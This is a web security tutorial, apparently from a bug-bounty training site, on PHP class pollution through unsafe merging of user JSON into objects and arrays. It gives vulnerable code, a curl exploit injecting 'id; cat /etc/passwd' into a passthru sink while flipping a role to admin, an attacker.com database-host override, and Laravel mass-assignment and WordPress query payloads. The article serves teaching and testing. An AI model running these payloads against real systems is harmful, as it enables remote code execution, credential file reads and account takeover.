Quick answer
PHP doesn't have a global prototype like JavaScript, but it does have class pollution: if an app does a foreach to merge user input into an existing object (or array_merge_recursive with configs), the attacker can overwrite the attributes of instances and trigger internal gadgets (RCE via exec-attributes, auth bypass via role flip, SQLi via SQL builders). You can't override methods (PHP doesn't support dynamic method dispatch), but attributes that flow to dangerous sinks are enough.
Why PHP is different from JS/Python
| Aspect | JS prototype pollution | Python class pollution | PHP class pollution |
|---|---|---|---|
| Universal base class | Object.prototype | object | No (stdClass isn't a base) |
| Global single-shot pollution | Yes | Yes | No — object-by-object only |
| Override methods | Yes | Yes | No — attributes only |
| Escape context | Yes | Yes | No |
| Pollute attributes | Yes | Yes | Yes |
| Pollute array keys | N/A | Yes | Yes |
The key limitation: there's no universal base class. Pollution only affects the concrete instance/class. But if the app has a global configuration object (Service Container in Laravel, ContainerBuilder in Symfony, $wp_config in WP), polluting that single object is enough.
The canonical vulnerable pattern
function merge($baseObject, $userInput) {
foreach ($userInput as $key => $value) {
$baseObject->$key = $value;
}
return $baseObject;
}
$config = new AppConfig();
$userJson = json_decode(file_get_contents('php://input'));
$mergedConfig = merge($config, $userJson);
$mergedConfig->doSomething();
$userJson is controlled by the attacker. The foreach assigns any property. PHP doesn't distinguish between creating a new attribute and overwriting an existing one via $obj->$dynamic_key.
Gadget: command in an attribute
class AppConfig {
public $healthCheckCommands = ['ping -c 1 127.0.0.1'];
public $username = 'guest';
function healthCheck() {
foreach ($this->healthCheckCommands as $cmd) {
passthru($cmd); // ← sink
}
}
function isAdmin() {
return $this->username === 'admin';
}
}
Exploit:
curl -X POST http://target/api/config \
-H 'Content-Type: application/json' \
-d '{"healthCheckCommands":["id; cat /etc/passwd"],"username":"admin"}'
Result: RCE (via overriding healthCheckCommands) + auth bypass (username is now admin). In a single request.
Vulnerable merge variants
Built-in array_merge with casting
function merge($base, $input) {
return (object) array_merge((array) $base, (array) $input);
}
Added problem: it converts to stdClass and the original methods are lost. Useful for auth bypass (overwriting attributes), not for RCE via method.
Manual foreach (the most exploitable)
function merge($base, $input) {
foreach ($input as $k => $v) $base->$k = $v;
return $base;
}
Preserves the class and methods → any internal method that uses polluted attributes triggers the gadget.
Clone + foreach
function merge($base, $input) {
$obj = clone $base;
foreach ($input as $k => $v) $obj->$k = $v;
return $obj;
}
Same impact, the only change is that it doesn't mutate the original.
array_merge_recursive on arrays
$config = ['db' => ['host' => 'localhost', 'pass' => 'secret']];
$user = json_decode($input, true); // ← associative array
$merged = array_merge_recursive($config, $user);
The attacker sends {"db":{"host":"attacker.com","pass":"override"}} → the deep recursive merge overwrites. A common pattern in endpoints that accept settings JSON.
Real frameworks — where to look
Laravel — mass assignment
// Eloquent Model
$user->fill($request->all());
$user->save();
If the model doesn't have $fillable defined or has $guarded = [], any column is assigned from the request. The attacker sends:
{"email":"victim@target.com","password":"pwned","is_admin":true,"email_verified_at":"2020-01-01"}
Result: ATO + role escalation. A classic Laravel bug class; bounty $2000-5000 in large programs with eloquent mass assignment.
Laravel — Service Container
app()->instance('mailer.config', $userControlledConfig);
If the attacker can call app()->instance(...) (rare, requires an endpoint that delegates) or if there's a config merge:
config()->set($key, $value); // $key/$value desde request
With config()->set('app.cipher', 'attacker_string') they can break session encryption or force weak ciphers.
Symfony — ContainerBuilder
$container->set('cache.adapter.redis', $userInput);
Replaces a container service. If a component later uses it, the attacker intercepts.
WordPress — wp_parse_args
$defaults = ['post_type' => 'post', 'numberposts' => 5];
$args = wp_parse_args($_GET, $defaults);
WP_Query($args);
wp_parse_args is WP's official "merge". The attacker sends ?post_type=any&meta_query[0][key]=...&meta_query[0][value]=... and builds arbitrary queries. SQLi via args pollution.
Keep reading the full chain
The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.
Practice this in a lab
Prototype Pollution Explotacion
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
LFI — Local File Inclusion: payloads, filter bypass, log poisoning and RCE
Path traversal, null-byte injection, double encoding, PHP wrappers (filter, data, expect, phar), log poisoning and escalating LFI to RCE on PHP/Java/Node stacks.
Headless browsers — SSRF and RCE in endpoints that render URLs
Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.
File Upload — extension, content-type and magic bytes bypasses
10 bypasses to upload webshells: double extension, null byte, content-type spoof, magic bytes, polyglots, race conditions and path traversal abuse.